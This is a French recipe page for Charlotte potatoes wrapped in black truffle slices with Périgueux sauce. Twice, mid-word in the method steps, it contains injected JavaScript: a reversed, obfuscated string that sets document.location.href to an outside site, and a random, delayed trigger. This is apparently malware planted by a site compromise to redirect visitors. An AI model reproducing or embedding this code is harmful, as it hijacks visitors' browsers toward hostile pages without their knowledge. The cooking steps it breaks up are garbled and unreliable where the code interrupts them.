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Recette : Pomme de terre charlotte en habit de truffes noires

QUANTITE PRODUITE: 4 Personnes

  • Pommes de terre charlotte (taille moyenne) 4 pcs
  • Beurre clarifié 500 gr
  • Pulpe de pomme de terre 120 gr
  • Lait 40 cl
  • Crème 5 cl
  • Beurre 80 gr
  • Pelure de truffe hachée finement 60 gr
  • Mousseline de volaille 140 gr
  • Grosses Truffes entières 120 gr
  • Sauce Périgueux 20 cl
  • Truffe hachée 15 gr
  • Jus de truffe 3 cl
  • Beurre 40 gr
  • Beurre clarifié 10 gr
  • Fleur de sel

MÉTHODE:

Préparation de la pomme de terre
Eplucher la pomme de terre et la toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourner en forme de savonnette (7 à 8 cm de long sur 4 a 5 cm de large et 4 cm d’épaisseur)
Couper la partie supérieure de la pomme de terre, et creuser délicatement l’intérieur avec une cuillère à pomme parisienne
Faire chauffer le beurre clarifié, et y plonger la pomme de terre et son couvercle, laisser cuire pendant 4 à 5 minutes, piquer avec un couteau pour vérifier la cuisson.
Débarrasser et laisser refroidir sur une grille
Préparer la crème de pomme de terre mélanger la pulpe avec le lait, la crème et le beurre bouillant, bien remuer pour éliminer les grumeaux, assaisonner et ajouter la truffe hachée laisser refroidir et verser le jus de truffe.
Remplir la pomme de terre de crème aux truffes, refermer avec le couvercle et envelopper dans un film, débarrasser réfrigérateur.
Couper la truffe en fines lamelles, sur du papier, former des ronds de truffe de 18 cm de diamètre et placer au congélateur
Etaler une fine couche de mousseline de volaille sur les lamelles de truffe
Placer la pomme de terre au centre du rond de truffe et replier doucement le papier film afin de bien l’enrober, fermer le papier film.

Cuire la pomme de terre au four a vapeur pendant 20 à 25 minutes environ

Finition et présentation
Enlever le papier film avec délicatesse, poser la pomme de terre au centre de l’assiette, bien la lustrer au beurre clarifié.
Faire réduire, monter la sauce Périgueux au beurre et ajouter la truffe hachée et le jus de truffe à la dernière minute.
Verser la sauce autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de la pomme de terre et parsemer la pomme de terre de quelques grains de fleur de sel.